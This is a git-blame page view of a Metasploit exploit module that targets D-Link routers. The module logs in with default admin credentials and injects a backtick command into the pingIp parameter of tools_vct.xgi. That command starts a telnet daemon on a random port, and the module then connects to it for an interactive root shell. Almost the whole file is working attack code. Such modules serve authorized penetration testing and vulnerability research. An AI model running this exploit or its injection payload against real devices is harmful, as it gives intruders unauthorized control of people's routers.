Files
metasploit-gs/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

200 lines
5.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
'Description' => %q{
Various D-Link Routers are vulnerable to OS command injection via the web
interface. The vulnerability exists in tools_vct.xgi, which is accessible with
credentials. According to the vulnerability discoverer, more D-Link devices may
be affected.
},
'Author' => [
2013-08-14 11:56:47 -05:00
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'References' => [
[ 'OSVDB', '92698' ],
[ 'EDB', '25024' ],
[ 'BID', '59405' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]
],
2025-06-20 13:20:44 +01:00
'DisclosureDate' => '2013-04-22',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
2013-08-14 11:47:57 -05:00
'ConnectionType' => 'find',
},
},
2025-06-20 13:20:44 +01:00
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
register_options(
[
2025-06-20 13:20:44 +01:00
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']),
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
]
)
2013-08-30 16:28:54 -05:00
2013-08-14 11:47:57 -05:00
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
2025-06-20 13:20:44 +01:00
]
)
2013-08-14 11:47:57 -05:00
end
2013-08-30 16:28:54 -05:00
2013-08-14 11:47:57 -05:00
def tel_timeout
(datastore['TelnetTimeout'] || 10).to_i
end
2013-08-30 16:28:54 -05:00
2013-08-14 11:47:57 -05:00
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25).to_i
end
2013-08-30 16:28:54 -05:00
def exploit
user = datastore['USERNAME']
2013-08-30 16:28:54 -05:00
if datastore['PASSWORD'].nil?
pass = ""
else
pass = datastore['PASSWORD']
end
2013-08-30 16:28:54 -05:00
test_login(user, pass)
2013-08-14 11:47:57 -05:00
exploit_telnet
end
2013-08-30 16:28:54 -05:00
def test_login(user, pass)
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
2013-08-30 16:28:54 -05:00
login_path = "/login.php"
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# valid login response includes the following
login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"
2013-08-30 16:28:54 -05:00
begin
res = send_request_cgi({
'uri' => login_path,
'method' => 'POST',
'vars_post' => {
"ACTION_POST" => "LOGIN",
"LOGIN_USER" => "#{user}",
"LOGIN_PASSWD" => "#{pass}",
"login" => "+Log+In+"
2025-06-20 13:20:44 +01:00
}
})
2013-08-05 21:55:30 +02:00
if res.nil?
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
2013-08-05 21:55:30 +02:00
end
if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
2013-08-05 21:55:30 +02:00
end
if (res.code == 404)
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
2013-08-05 21:55:30 +02:00
end
2013-08-30 16:28:54 -05:00
if (res.body) =~ /#{login_check}/
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
2013-08-30 16:28:54 -05:00
def exploit_telnet
2013-09-18 12:24:36 -05:00
telnetport = rand(32767) + 32768
2013-08-30 16:28:54 -05:00
2013-08-14 11:47:57 -05:00
print_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
2013-08-30 16:28:54 -05:00
cmd = "telnetd -p #{telnetport}"
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# starting the telnetd gives no response
request(cmd)
2013-08-30 16:28:54 -05:00
2013-09-16 09:26:13 -05:00
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx })
2013-08-30 16:28:54 -05:00
2013-09-16 09:26:13 -05:00
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
2013-08-30 16:28:54 -05:00
add_socket(sock)
2013-09-16 09:26:13 -05:00
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
end
2013-08-30 16:28:54 -05:00
2013-09-16 09:26:13 -05:00
handler(sock)
end
2013-08-30 16:28:54 -05:00
def request(cmd)
uri = '/tools_vct.xgi'
2013-08-30 16:28:54 -05:00
begin
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'uri' => uri,
'vars_get' => {
'set/runtime/switch/getlinktype' => "1",
'set/runtime/diagnostic/pingIp' => "`#{cmd}`",
'pingIP' => ""
2025-06-20 13:20:44 +01:00
},
'method' => 'GET',
})
2025-06-20 13:20:44 +01:00
return res
rescue ::Rex::ConnectionError
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
2013-08-30 16:28:54 -05:00
2013-08-14 11:49:32 -05:00
# Since there isn't user/password negotiation, just wait until the prompt is there
2013-08-14 11:47:57 -05:00
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
2025-06-20 13:20:44 +01:00
while (true)
2013-08-14 11:47:57 -05:00
data = sock.get_once(-1, tel_timeout)
return nil if not data or data.length == 0
if data =~ /\x23\x20$/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end